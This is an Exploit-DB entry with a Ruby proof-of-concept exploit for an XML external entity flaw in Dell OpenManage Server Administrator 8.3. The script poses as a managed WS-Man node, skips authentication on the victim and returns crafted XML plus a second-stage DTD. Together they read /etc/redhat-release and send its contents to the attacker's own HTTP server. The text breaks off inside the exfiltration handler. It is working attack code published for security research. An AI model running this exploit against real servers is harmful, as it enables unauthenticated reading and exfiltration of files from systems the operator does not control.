Exploit-DB #39909
Description: Dell OpenManage Server Administrator 8.3 - XML External Entity
Type: webapps
Platform: xml
Date: 2016-06-10
Author: hantwister

Exploit:
#!/usr/bin/ruby
#
# Exploit Title: Dell OpenManage Server Administrator 8.3 XXE
# Date: June 9, 2016
# Exploit Author: hantwister
# Vendor Homepage: http://en.community.dell.com/techcenter/systems-management/w/wiki/1760.openmanage-server-administrator-omsa
# Software Link: http://www.dell.com/support/home/us/en/19/Drivers/DriversDetails?driverId=CCKPW
# Version: 8.3
# Tested On: RHEL7
#
# Description:
#     When using an XML parser on returned data by a remote node, OMSA does not
#     restrict the use of external entities.
#
#     This PoC first emulates a remote node (OMSA -> WS-Man -> this) and
#     requests from the victim OMSA (this -> HTTPS -> OMSA) that it be managed.
#
#     Next, the PoC requests (this -> HTTPS -> OMSA) a plugin that will attempt
#     to parse returned XML, and when the OMSA instance requests this XML from
#     the emulated node (OMSA -> WS-Man -> this), the PoC returns XML that
#     includes a XXE attack, revealing the contents of /etc/redhat-release.
#
#     Because OMSA merely requires you be authenticated to the node you are
#     managing, which we control, authentication to the victim is not required
#     to exploit this vulnerability.
#
#     To use, change line 55 to your victim IP. If you have multiple network
#     interfaces, you may wish to manually specify which one will be accessible
#     to the victim on line 60.
#
#     Note: during testing, OMSA would periodically begin rejecting connections
#     to fake nodes and would need to be restarted; do not expect multiple runs
#     against the same victim to be successful unless you can restart it.
#
# Copyright (C) 2016 hantwister
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#

require 'webrick'
require 'webrick/https'
require 'nokogiri'
require 'securerandom'
require "net/http"
require "uri"

victimip = nil
if victimip.nil?
  abort "You should modify this file and specify a victim IP."
end

attackerip = Socket.ip_address_list.detect{|intf| intf.ipv4_private?}.ip_address
print "Your IP: #{attackerip}\n\nThe victim must be able to reach you at this IP, port 5986 and 8080.\nIf it isn't right, modify this script.\nYou have ten seconds to abort this script.\n\n"

sleep 10

wsmanCallback = WEBrick::HTTPServer.new(:Port => 5986, :SSLEnable => true, :SSLCertName => [ %w[CN localhost] ])

wsmanCallback.mount_proc '/wsman' do |req, res|
  doc = Nokogiri::XML(req.body) do |config|
    config.options = Nokogiri::XML::ParseOptions::NONET
  end

  doc.xpath('//wsmid:Identify', 'wsmid' => 'http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd').each do |idRequest|
    res.status = 200
    res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
    res.body = '<?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:wsmid="http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd"><s:Header/><s:Body><wsmid:IdentifyResponse><wsmid:ProtocolVersion>http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd</wsmid:ProtocolVersion><wsmid:ProductVendor>Fake Dell Open Manage Server Node</wsmid:ProductVendor><wsmid:ProductVersion>1.0</wsmid:ProductVersion></wsmid:IdentifyResponse></s:Body></s:Envelope>'
  end

  doc.xpath('//n1:SendCmd_INPUT', 'n1' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule').each do |dellRequest|
    dellCmd = dellRequest.child.text

    respText = " "
    if dellCmd.start_with?("__00omacmd=getuserrightsonly ")
      userRights = (7 + (7 << 16))
      respText = "<SMStatus>0</SMStatus><UserRightsMask>#{userRights}</UserRightsMask>"
    elsif dellCmd.start_with?("__00omacmd=getaboutinfo ")
      respText = "<ProductVersion>6.0.3</ProductVersion>"
    elsif dellCmd.start_with?("__00omacmd=getcmdlogcontent")
      respText = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE bogus [\n  <!ENTITY % file SYSTEM \"file:///etc/redhat-release\">\n  <!ENTITY % dtd SYSTEM \"http://#{attackerip}:8080/stage2.dtd\">\n%dtd;\n%send;\n]]>\n<bogus><blah /></bogus>"
    end

    resDoc = Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:wsa=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:wsman=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:n1=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/DCIM_OEM_DataAccessModule\"><s:Header><wsa:To> </wsa:To><wsa:RelatesTo> </wsa:RelatesTo><wsa:MessageID> </wsa:MessageID></s:Header><s:Body><n1:SendCmd_OUTPUT><n1:ResultCode>0</n1:ResultCode><n1:ReturnValue> </n1:ReturnValue></n1:SendCmd_OUTPUT></s:Body></s:Envelope>")

    resDoc.xpath('//wsa:To').first.content=doc.xpath('//wsa:Address').first.text
    resDoc.xpath('//wsa:RelatesTo').first.content=doc.xpath('//wsa:MessageID').first.text
    resDoc.xpath('//wsa:MessageID').first.content=SecureRandom.uuid

    resDoc.xpath('//n1:ReturnValue').first.content=respText

    res.status = 200
    res['Content-Type'] = 'application/soap+xml;charset=UTF-8'
    res.body = resDoc.to_xml
  end
end

wsmanThread = Thread.new do
  wsmanCallback.start
end

xxeCallback = WEBrick::HTTPServer.new(:Port => 8080)

xxeCallback.mount_proc '/stage2.dtd' do |req, res|
  res.status = 200
  res['Content-Type'] = 'application/xml-dtd'
  res.body = "<!ENTITY % all\n \"<!ENTITY &#x25; send SYSTEM 'http://#{attackerip}:8080/xxe?result=%file;'>\"\n>\n%all;\n"
end

result = nil

xxeCallback.mount_proc '/xxe' d